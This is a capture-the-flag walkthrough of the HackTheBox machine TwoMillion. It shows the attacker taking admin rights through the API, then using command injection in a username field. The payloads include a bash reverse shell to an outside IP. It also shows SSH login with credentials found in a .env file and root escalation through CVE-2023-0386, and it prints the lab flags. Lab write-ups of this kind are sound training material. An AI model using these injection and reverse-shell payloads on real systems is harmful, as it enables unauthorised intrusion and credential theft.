Walkthrough: HackTheBox - TwoMillion
Summary
TwoMillion is an easy linux machine on HackTheBox. The machine presents us with an older version of the HTB platform where we first have to find the invitation code, give ourselves admin rights to abuse unsanitized API parameters, which gives us a shell as www-data. A file on the server reveals a user and password which we can use to login via ssh. This user has internal mail, mentioning CVE-2023-0386 (OverlayFS) which can be exploited to gain a root shell.
Enumerating Ports
Port Scan
Using the following scan to get all open TCP ports:
ports=$(nmap -Pn -p- --min-rate=1000 -T4 $ip | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
This scan shows us that port 22 (SSH) and port 80 (HTTP) are open. Now, let's use $ports to do a script and version scan:
sudo nmap -sCV -p$ports $ip -oA nmap/twomillion-scv-port-scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see that it is a Linux machine running Ubuntu. There's also the hostname of 2million.htb, which we will add to the /etc/hosts file.
Running the same scan again shows us a bit more information for port 80:
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As port 22 (SSH) is most likely not an attack vector, we will focus on port 80 (HTTP).
Port 80
Manual Enumeration
Let's take a look at the website:
Looks like an old version of HTB.
There is a 2million.htb/invite and also 2million.htb/login
/invite
The source code metions /api/v1/invite/verify and inviteapi.min.js, which is obfuscated, but using for example unPacker reveals /api/v1/invite/how/to/generate. There is also a /register and /api/v1/user/register.
Directory and File Brute Forcing
Before digging deeper manually, lets start a quick directory and file bruteforce. For this, we will use multiple tools just to make sure we do not miss anything. -> DO NOT TRUST ONE TOOL!
Using Feroxbuster
feroxbuster -u http://2million.htb/
401 GET 0l 0w 0c http://2million.htb/api
405 GET 0l 0w 0c http://2million.htb/api/v1/user/login
Using FFUF
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://2million.htb/FUZZ -fc 301
login [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 49ms]
register [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 40ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
api [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 41ms]
home [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 44ms]
404 [Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 47ms]
invite [Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 40ms]
Burp
/api/v1/user/login
Nothing special, switching to POST also shows nothing.
/api/v1/invite/how/to/generate
BINGO! When we send a POST request to /api/v1/invite/how/to/generate, we will in fact get a response!

Interesting. The data is ROT13 encoded. We can decode it with rot13.com.
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
Well, as you wish, well will send a POST request to /api/v1/invite/generate.
/api/v1/invite/generate
Sending a POST request, we receive a Base64 encoded string, most likely the invite code.

echo TkVLS1YtOFEzWFotRjFUR1ctMVg3WTM= | base64 -d
NEKKV-8Q3XZ-F1TGW-1X7Y3
That's the invite code! We can use it at /invite. Doing so will redirect us to /register with the invite code field already filled.
With that, the account is created an we can login. PHEW!
/home
Lets dig around for a bit:
- There is a
/logout, a/home/rulesand a/home/changelogwhere a few users are commenting. I will take note of them. There is also/home/access.
/home/access
Clicking on Connection Pack sends a request to /api/v1/user/vpn/generate. Clicking on Regenerate sends a request to /api/v1/user/vpn/regenerate. I tried connecting, but it doesn't work.
Testing the new /api endpoint
Changing to /api gives us the information that the api version is '/v1'. Sending a request to /api/v1 reveals a lot more endpoints.

I played around with the /api/v1/user/ endpoints, tried changing the request method, but nothing worked. When changing the request method to PUT for /api/v1/admin/settings/update we receive a 200 OK with an invalid Content-Type.
Adding a Content-Type of Content-Type: application/json tells us Missing parameter: email.
Adding the email, tells us to add is_admin, which gives admin rights when we send the request.
.
Breaking the API
As the admin VPN also doesn't help us, lets try to break the API input. Turns out, we can inject commands after our username. This can be done because the username parameter gets passed unsanitized.
{"username": "qnavry;whoami;"}
returns www-data
With this, we can setup a reverse shell with:
{"username": "qnavry;bash -c 'bash -i >& /dev/tcp/10.10.17.65/9002 0>&1';"}

Local Enumeration
The /etc/passwd file shows users root, www-data and admin.
There is a .env file in /var/www/html revealing a DB name, DB Username and DB Password.
- Username: admin
- Password: SuperDuperPass123
As there is a user admin, we try to login with this user and password via ssh which in fact is working.

User Flag
With this, we can grab the user flag.
admin@2million:~$ cat user.txt
16ea831862582883107044c6b1ec263a
Privilege Escalation
Logging in with the admin user, we are informed that there is mail we have received. This can be confirmed under /var/mail/admin.
Searching for the OverlayFS exploit, we find CVE-2023-0386, grab it from github, copy it onto the machine and do the following:
admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
and in a seperate window we execute ./exp
With that, we become root user and can grab the root flag.
Root Flag
cat root.txt
e72ff0cb61dc371c7bc109ce731d3779